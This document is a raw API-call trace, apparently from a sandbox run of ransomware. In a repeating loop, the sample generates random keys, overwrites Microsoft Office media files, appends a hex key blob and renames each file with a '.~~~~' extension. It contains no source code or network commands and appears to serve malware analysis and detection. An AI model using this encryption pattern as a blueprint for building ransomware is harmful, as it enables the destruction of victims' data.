	[0126.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0126.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.667] GetLastError () returned 0x0
	[0126.668] GetLastError () returned 0x0
	[0126.668] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.668] GetLastError () returned 0x0
	[0126.668] GetLastError () returned 0x0
	[0126.671] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff8aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.671] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x756, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x756, lpOverlapped=0x0) returned 1
	[0126.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.673] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.673] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.673] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.673] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.673] CloseHandle (hObject=0x144) returned 1
	[0126.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aae38
	[0126.673] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf.~~~~")) returned 1
	[0126.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0126.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.675] GetLastError () returned 0x0
	[0126.675] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.677] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.677] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.677] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24666707412) returned 1
	[0126.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4f45ed0, dwHighDateTime=0x1d60e1e)) 
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821ba8
	[0126.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821ba8 | out: hHeap=0x300000) returned 1
	[0126.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab378
	[0126.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab378 | out: hHeap=0x300000) returned 1
	[0126.678] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.678] GetLastError () returned 0x0
	[0126.678] GetLastError () returned 0x0
	[0126.678] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.678] GetLastError () returned 0x0
	[0126.679] GetLastError () returned 0x0
	[0126.703] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff954, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.703] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6ac, lpOverlapped=0x0) returned 1
	[0126.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.705] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.705] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.705] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.705] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.705] CloseHandle (hObject=0x144) returned 1
	[0126.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab180
	[0126.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf.~~~~")) returned 1
	[0126.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0126.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.706] GetLastError () returned 0x0
	[0126.707] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.708] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.708] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.708] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24670047536) returned 1
	[0126.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4f92190, dwHighDateTime=0x1d60e1e)) 
	[0126.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821c50
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821c50 | out: hHeap=0x300000) returned 1
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aac40
	[0126.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0126.711] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.711] GetLastError () returned 0x0
	[0126.712] GetLastError () returned 0x0
	[0126.712] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.712] GetLastError () returned 0x0
	[0126.712] GetLastError () returned 0x0
	[0126.730] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff754, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.730] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x8ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8ac, lpOverlapped=0x0) returned 1
	[0126.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.731] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.731] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.732] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.732] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.732] CloseHandle (hObject=0x144) returned 1
	[0126.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0126.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf.~~~~")) returned 1
	[0126.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0126.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.733] GetLastError () returned 0x0
	[0126.734] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.735] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.735] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.735] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24672520520) returned 1
	[0126.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4fde450, dwHighDateTime=0x1d60e1e)) 
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc938
	[0126.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc938 | out: hHeap=0x300000) returned 1
	[0126.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0126.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0126.736] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.736] GetLastError () returned 0x0
	[0126.736] GetLastError () returned 0x0
	[0126.736] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.736] GetLastError () returned 0x0
	[0126.737] GetLastError () returned 0x0
	[0126.738] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.738] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xf0, lpOverlapped=0x0) returned 1
	[0126.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.739] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.739] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.740] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.740] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.740] CloseHandle (hObject=0x144) returned 1
	[0126.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0126.740] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif.~~~~")) returned 1
	[0126.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0126.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.741] GetLastError () returned 0x0
	[0126.742] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.743] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.743] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.743] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24673315129) returned 1
	[0126.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb50045b0, dwHighDateTime=0x1d60e1e)) 
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc900
	[0126.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc900 | out: hHeap=0x300000) returned 1
	[0126.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0126.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0126.744] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.744] GetLastError () returned 0x0
	[0126.744] GetLastError () returned 0x0
	[0126.744] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.744] GetLastError () returned 0x0
	[0126.744] GetLastError () returned 0x0
	[0126.746] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.746] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xea, lpOverlapped=0x0) returned 1
	[0126.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.748] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.748] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.748] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.748] CloseHandle (hObject=0x144) returned 1
	[0126.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0126.748] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif.~~~~")) returned 1
	[0126.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0126.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.749] GetLastError () returned 0x0
	[0126.750] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.752] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.752] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.752] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24674198405) returned 1
	[0126.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb50045b0, dwHighDateTime=0x1d60e1e)) 
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc8c8
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
